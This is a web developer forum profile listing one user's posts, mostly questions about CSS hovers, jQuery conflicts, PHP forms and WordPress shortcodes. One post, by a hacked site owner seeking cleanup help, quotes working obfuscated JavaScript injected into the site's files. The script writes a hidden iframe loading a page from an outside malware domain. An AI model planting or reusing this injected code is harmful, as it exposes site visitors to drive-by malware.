Jump to content

Lisa23

Members
  • Posts

    221
  • Joined

  • Last visited

Everything posted by Lisa23

  1. Hi I am this scroller is almost perfect execept that I need to have the on-hover without moving the mouse to pause the scrooler at moment the way it works if on-mouseover to the left it scrolls left and to the right scrolls right I want to pause if user not moving the mouse? see http://eurico.co.uk/index-1.html This is where I got the script but It doesnt seem to do the pause or at least I can configure to work with my scri Any help would be really appreciated. Thanks http://www.convergent-evolution.co.u...ling-carousel/
  2. Hi I've been trying to hover an image on top of another but it doesnt work because the hover is background so it seems like it display under the images is there a way to make show on the top of the images i want to show a small play button in the middle of the image any idea how i can do it this is my list of images <ul id="list_profile"> <li class=""> <a href="#/"><img width="440" height="450" alt="img4" src="/uploads/img4.jpg"></a> </li> <li class=""> <a href="#/"><img width="440" height="450" alt="img3" src="/uploads/img3.jpg"></a> </li> </ul> The css #list_profile li img { width:212px; height:222px; margin-bottom:10px; z-index:-1;} #list_profile li img:hover { background: url("/images/galleryhover.png") no-repeat scroll left top transparent ; height: 222px; width: 212px; z-index:999; }
  3. scary ok I've changed my FTP password but if you saying that it could be be someone that logged password changed now but a program that bypassed security, if i upload the back up how can i prevent the same from happening if is program thats bypassing security? very scared. I know alot people use htaccess file to secure site, i dont know much so I am scared to change mine fo you recomemnd any htacess script?
  4. Thanks for your reply, but so those code are paste on some js files does that mean they actually logged in to the server? or they sent some sort of program that bypass hosting security?
  5. Hi guys my website just been hacked google showing the red (Warning: Something's Not Right Here! www.xxxxxxxx.com contains malware. Your computer might catch a virus if you visit this site.) stating the site has trying to access these two sites http://bentley.poststreetdental.com/...f48be84d67654d http://mazda.georgewkohn.com/direct....f48be84d67654d Now found alot of my js files to have this code at the bottom when i remove it minimise the amount of error on chrome console inspector element, does anyone know if someone actually opened logged in to my FTP accessed the js files and paste those code into it. or if it is some sort of a program that does wrote that. var _0x965b=["\x3C\x64\x69\x76\x20\x6E\x61\x6D\x65\x3D\x22\x79\x6F\x75\x74\x75\x62\x65\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x22\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x22\x35\x36\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33\x31\x35\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x61\x7A\x64\x61\x2E\x67\x65\x6F\x72\x67\x65\x77\x6B\x6F\x68\x6E\x2E\x63\x6F\x6D\x2F\x64\x69\x72\x65\x63\x74\x2E\x70\x68\x70\x3F\x70\x61\x67\x65\x3D\x31\x35\x66\x34\x38\x62\x65\x38\x34\x64\x36\x37\x36\x35\x34\x64\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x61\x6C\x6C\x6F\x77\x66\x75\x6C\x6C\x73\x63\x72\x65\x65\x6E\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65"];document[_0x965b[1]](_0x965b[0]); At momment i am trying going to every single file and delete that line of code, but I am not sure if it might be something else or if somone has a way of accessing my FTP i've changed the password. Any sugestion? Do I just delete the code on JS files? or should I look for something else on the server?
  6. Hi not sure if thats how u mean but I managed to get it fixed like this <?php //function to display all the news titles and link to the story function wptuts_all_news_titles_shortcode($atts, $content=null) { query_posts(array('category_name' => 'news', 'order' => 'DESC' , 'offset' => 3)); // offset to skip the first 3 news if (have_posts()) : while (have_posts()) : the_post(); $blog_link = get_permalink(); // this will get the post url $return_string .= "<p><a href=" .$blog_link .">" . get_the_title() . "</a> </p>" ; endwhile; endif; wp_reset_query(); return $return_string; } add_shortcode( 'all_news_titles', 'wptuts_all_news_titles_shortcode'); ?> Thank you very much for the help
  7. Hi have this function that is meant to return all the post of category news, the problem is that is only returning one post of that category I want to return all the post. <?php //function to display the third last news published function wptuts_third_last_news_shortcode($atts, $content=null) { query_posts( 'category_name=news' ); if (have_posts()) : while (have_posts()) : the_post(); $blog_link = get_permalink(); // this si the link $return_string = "<a href=" .$blog_link .">" . get_the_title() . "</a>" ; endwhile; endif; wp_reset_query(); return $return_string; } add_shortcode( 'third_last_news', 'wptuts_third_last_news_shortcode'); ?>
  8. Hi i have tried this two function to display the last post on the homepage but both of them not working can someone help me so that one of them work? the first almost work except its display the last post twice on the homepage twice and i cannot position even thou I have the short code inside a div box it shows at the top and bottom of content. the second one the (more..) link doesnt work click on the (click here to see the function txt file) to see the actual functions on my site. http://eurico.co.uk/ help will b much appreciated thanks
  9. HI thanks for all the help guys what I was trying to achieve was this, is working now I used the if statmenet instead. $val->slug = $_POST['deal-locations']; if($val->slug) { $args = array( 's' => $_GET['s'], 'post_type' => 'deals', 'deal-locations' => $val->slug, 'where' => $val->slug, 'paged' => 'paged'); echo "<h3> ".$val->slug."</h3>" ; }
  10. Hi I have a form that is popluated from the database now I am trying to get the switch case to be based on the option the user selects is this possible to make a case a variable popluated by the drop down if so can someone show me what am i missing? the value I am trying to get from the form to the switch case is the ( $val->slug) but the value not been set help please here the form <form method="post"> <select name="deal-locations" onChange="this.form.submit()"> <?php while(list($key,$val) = each($locations)) { ?><option value="<?php echo $val->slug; ?>"><?php echo $val->slug; ?></option><?php } ?> </select> <input type="submit" value="submit"> </form> Here the switch case switch ($_POST['deal-locations']) { case " $val->slug": echo "<h3>deal-locations: ASC</h3>"; $args = array( 's' => $_GET['s'], 'post_type' => 'deals', 'deal-locations' => ' $val->slug', 'where' => ' $val->slug', 'paged' => 'paged' ); break; }
  11. Hi thanks for getting back at me I managed to get it to work like this. The script switch ($_POST['sortby']) { case "ASC": $args = array( 's' => $_GET['s'], 'post_type' => 'deals', 'orderby' => 'title', 'order' => 'ASC', 'paged' => get_query_var('paged') ); break; case "DESC": $args = array( 's' => $_GET['s'], 'post_type' => 'deals', 'orderby' => 'title', 'order' => 'DESC', 'paged' => get_query_var('paged') ); break; } The form <form method="post"> <select name="sortby" onChange="this.submit()"> <option value="">Sort By</option> <option value="DESC">DESC</option> <option value="ASC">ASC</option> </select> <input type="submit" value="submit"> </form> But now i am trying to change the form without the submit button just with the onchange. but is not working?
  12. Hi i am trying to change the query to sort by desc or asc I am using the switch method but the form is not calling the switch statment can someone help me out please? this is the swicth script switch ($sortby) { case "ASC": $args = array( 's' => $_GET['s'], 'post_type' => 'deals', 'orderby' => 'title', 'order' => 'ASC', 'paged' => get_query_var('paged') ); break; case "DESC": $args = array( 's' => $_GET['s'], 'post_type' => 'deals', 'orderby' => 'title', 'order' => 'DESC', 'paged' => get_query_var('paged') ); break; } This is the form <form name="myForm"> <select id="sortby" > <option value="ASC">ASC</option> <option value="DESC">DESC</option> </select> </form> I intend to use a onchange so that when depending on the option they select it will change the order?
  13. Hi the user fill details and then the email his sent to me the only problem is that the emails keeps going to my spam, can someone help me out please I looked already php website and email format looks the same. This is the link to my form. http://www.people.eurico.co.uk/ here my form script <?php // Set email variables $email_to = 'xxxxx@xxxxxxx.co.uk'; $email_subject = 'Call back form'; // Set required fields $required_fields = array('fullname','email','telephone','comment'); // set error messages $error_messages = array( 'fullname' => 'Please enter a Name to proceed.', 'email' => 'Please enter a valid Email.', 'telephone' => 'Please telephone.', 'comment' => 'Please enter your Message to continue.' ); // Set form status $form_complete = FALSE; // configure validation array $validation = array(); // check form submittal if(!empty($_POST)) { // Sanitise POST array foreach($_POST as $key => $value) $_POST[$key] = remove_email_injection(trim($value)); // Loop into required fields and make sure they match our needs foreach($required_fields as $field) { // the field has been submitted? if(!array_key_exists($field, $_POST)) array_push($validation, $field); // check there is information in the field? if($_POST[$field] == '') array_push($validation, $field); // validate the email address supplied if($field == 'email') if(!validate_email_address($_POST[$field])) array_push($validation, $field); } // basic validation result if(count($validation) == 0) { // Prepare our content string $email_content = 'peoplesmartlearning.co.uk: ' . "\n\n"; // simple email content foreach($_POST as $key => $value) { if($key != 'submit') $email_content .= $key . ': ' . $value . "\n"; } // if validation passed ok then send the email mail($email_to, $email_subject, $email_content); // Update form switch $form_complete = TRUE; } } function validate_email_address($email = FALSE) { return (preg_match('/^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,}$/i', $email))? TRUE : FALSE; } function remove_email_injection($field = FALSE) { return (str_ireplace(array("\r", "\n", "%0a", "%0d", "Content-Type:", "bcc:","to:","cc:"), '', $field)); } ?> The HTML <div class="call_us_form"> <p class="title">WE'LL CALL YOU BACK</p> <?php if($form_complete === FALSE): ?> <form class="contact_form" id="fm-form" method="post" action="index.php" > <fieldset> <div class="fm-req"> <label for="fm-firstname">Name</label> <input type="text" id="fullname" class="detail" name="fullname" value="<?php echo isset($_POST['fullname'])? $_POST['fullname'] : ''; ?>" /> <?php if(in_array('fullname', $validation)): ?><script type="text/javascript">alert("Please enter a Name"); history.back();</script><?php endif; ?> </div> <div class="fm-req"> <label for="fm-firstname">Email</label> <input type="text" id="email" class="detail" name="email" value=" <?php echo isset($_POST['email'])? $_POST['email'] : ''; ?>" /> <?php if(in_array('email', $validation)): ?><script type="text/javascript">alert("Please enter a valid Email Address"); history.back();</script><?php endif; ?> </div> <div class="fm-req"> <label for="fm-firstname">Number</label> <input type="text" id="telephone" class="detail" name="telephone" value="<?php echo isset($_POST['telephone'])? $_POST['telephone'] : ''; ?>" /> <?php if(in_array('telephone', $validation)): ?><script type="text/javascript">alert("Please enter telephone number"); history.back();</script><?php endif; ?> </div> <div class="fm-req"> <label for="fm-lastname">Message</label> <textarea cols="40" rows="5" id="comment" name="comment" class="mess"><?php echo isset($_POST['comment'])? $_POST['comment'] : ''; ?></textarea> <?php if(in_array('comment', $validation)): ?><script type="text/javascript">alert("Please enter your message"); history.back();</script><?php endif; ?> </div> <input class="submit_button" type="submit" value="Call us" /> </fieldset> </form> <?php else: ?> <p>Thank you for your Message!</p> <p>We will get back to you as soon as we can</p> <script type="text/javascript"> setTimeout ('ourRedirect()', 5000) function ourRedirect () { location.href='index.php' } </script> <?php endif; ?>
  14. Hi thanks for the help, i managed to get to work with the conflict script, but like you said if i could use just one library source would do the job i would the problem is whenever i take one of those js files the function don't work, if you know which or how i can remove and just keep one js file i would appreciate the help, if you cant i still appreciate the help already thanks.
  15. Hi i have a site which a use a slideshow which has its own js files to work and a jquery tabs which also has its own js files, but now since i had both those src files into the head of my page only one works, it seems i cant have both src files. I have googled about the jquery conflict function but i just dont think i can get the sintax correct can someone help me out please? thanks in advance I've separated the files with html coment ofr better visual the files i need are SLIDESHOW files, and TABS file. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>People Smart Learning</title> <link rel="stylesheet" type="text/css" href="stylesheets/main.css" /> <link rel='stylesheet' id='style-css' href='slide-show/diapo.css' type='text/css' media='all'> <link type="text/css" href="js/jquery-ui-1.8.18.custom.css" rel="stylesheet" /> <meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE" /> <!-- START SLIDESHOW FILES --> <script type='text/javascript' src='slide-show/scripts/jquery.min.js'></script> <!--[if !IE]><!--><script type='text/javascript' src='slide-show/scripts/jquery.mobile-1.0rc2.customized.min.js'></script><!--<![endif]--> <script type='text/javascript' src='slide-show/scripts/jquery.easing.1.3.js'></script> <script type='text/javascript' src='slide-show/scripts/jquery.hoverIntent.minified.js'></script> <script type='text/javascript' src='slide-show/scripts/diapo.js'></script> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/mootools/1.3.0/mootools-yui-compressed.js"></script> <script> $(function(){ $('.pix_diapo').diapo(); }); </script> <!-- END SLIDESHOW FILES FOR --> <!-- START CONTACT FORM FILES --> <script type="text/javascript" src="form/validation/validation.js"></script> <script type="text/javascript"> var nameError = '<?php echo $error_messages['fullname']; ?>'; var emailError = '<?php echo $error_messages['email']; ?>'; var telephoneError = '<?php echo $error_messages['telephone']; ?>'; var commentError = '<?php echo $error_messages['comment']; ?>'; </script> <!-- START CONTACT FORM FILES --> <!--START TAB FILES--> <script type="text/javascript" src="js/jquery-1.7.1.min.js"></script> <script type="text/javascript" src="js/jquery-ui-1.8.18.custom.min.js"></script> <script type="text/javascript"> $(function(){ // Tabs $('#tabs').tabs(); }); </script> <!-- END TABS FILES --> </head>
  16. Hi i am creating this menu the strange thing that happens is everytime you refresh the page and hover for the button it flicks but that only happens when u refresh the page and hover the button for the first time i am using a image to hover help please? this my site http://eurico.co.uk/staging/ this is my css code /* start centeredmenu*/ #centeredmenu { margin-top:10px; background:#fff; overflow:hidden; position:relative;} #centeredmenu ul { float:left; list-style:none; margin:0; padding:0; position:relative; left:50%; text-align:center; } #centeredmenu ul li { display:block; float:left; list-style:none; padding:0; position:relative; right:50%; font-size:12px; } #centeredmenu ul li a { font-family:'FuturaMdBTMedium'; display:block; margin:0 0 0 2px; padding:7px 36px; background: url("../images/menu_li_bg.png") repeat-x scroll left top transparent; color:#FFF; text-decoration:none; } #centeredmenu ul li a:hover { background: url("../images/menu_hover_li_bg.png") repeat-x scroll left top transparent; }
  17. hard coding you mean typing the html correct? but even if so would it be incorrect to set that styled word as variable like i mentioned above and then called everytime i use it instead of retyping it?
  18. Hi i am have this word which is styled using span like this <span style="color:blue;">php</span><span style="color:green;">academy</span> i used this word often on my site but i have to all the time retype so i was wondering what would be the best way to use the php include one way i was thing is create a variable on my header or is better to include in a file on its own.? or are both the wrong way of doing if so what would be the best option just tired of having to style it everytime i need to use that word all the time!
  19. Hi i did see the link you gave me and i really appreciate the help you gave me yes i think i will use that method thank you very much for everything
  20. No if you get the chance if you look on it on firefox you'll see the text inside the divs they just like floating in the middle of the div like but on 7 it like the vertical align doesnt work the text starts on the same level which is meant to look like on firefox. the div at bottom with red borders, on firefox vertical works but on ie7 or ie6 the vertical doesnt work http://www.homeonfilm.com/agentstest.php
  21. line height just seems to increase gap bettwen the line of the text imense this is the page if you scroll down you see the how long the line height made it http://www.homeonfilm.com/agentstest.php this the css i got .comments_outer { float:left; display:table; width: 206px; border-bottom:2px solid red; border-right:2px solid red; } .comments_inner { display:table-cell; height:inherit; line-height:160px; }
  22. once again thanks for the help the height:inherit; almost did the job but now the problem is it doesnt pick up vertical-align: middle; i tried inherit that too but no effect this how my css looks like .comments_outer { float:left; display:table; height: 160px; width: 206px; vertical-align: middle; border-bottom:2px solid red; border-right:2px solid red; } .comments_inner { display:table-cell; height:inherit; vertical-align: inherit; } <div class="comments_outer class_without_border"> <div class="comments_inner"> <p>meant to vertical center center</p> </div> </div>
  23. Hi thanks for the help on my code above i did set the div as (.comments_inner { display:table-cell; vertical-align:middle; border-right:2px solid #000;) the only problem on my code is that it doesnt set the div height every works fine except the height of the div on exploere 6 and 7 the vertical works but the it cant set a certain height on the div i can set width but not height. is there a twist on my code to get it to work??
  24. Hi i have been 4 divs with a height set and now i am trying to set the text to be vertical align:middle but it is not working on explorer 6 and 7 is that even possible or should i just use some <br /> tags to align the text on each div to display align in the middle. I have found some that uses css top:50% but those just set line point to text to start which is not what i wanti want to be able to use vertical-align inside a set div without stype top <div class="comments_outer"> <div class="comments_inner"> <p>"The quality of the product is first class,since adding a HDTV portal to our website our hits are up 4000 a month! 20 new instructions, with 20 new delighted clients deciding to have their home filmed in order to sell it,brilliant." </p> </div> </div> .comments_outer { float:left; display:table; height: 160px; width: 208px; vertical-align: middle; } .comments_inner { display:table-cell; vertical-align:middle; border-right:2px solid #000; border-bottom:2px solid #000; } .class_without_border .comments_inner{ border-right:none; } .class_without_border{ width: 206px;} .comments_outer p { color: #515151; font-size: 11px; font-style: italic; font-weight: bold; padding:10px; } .comments_author p {color: #515151; font-size: 12px; font-style: italic; font-weight: bold;}
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.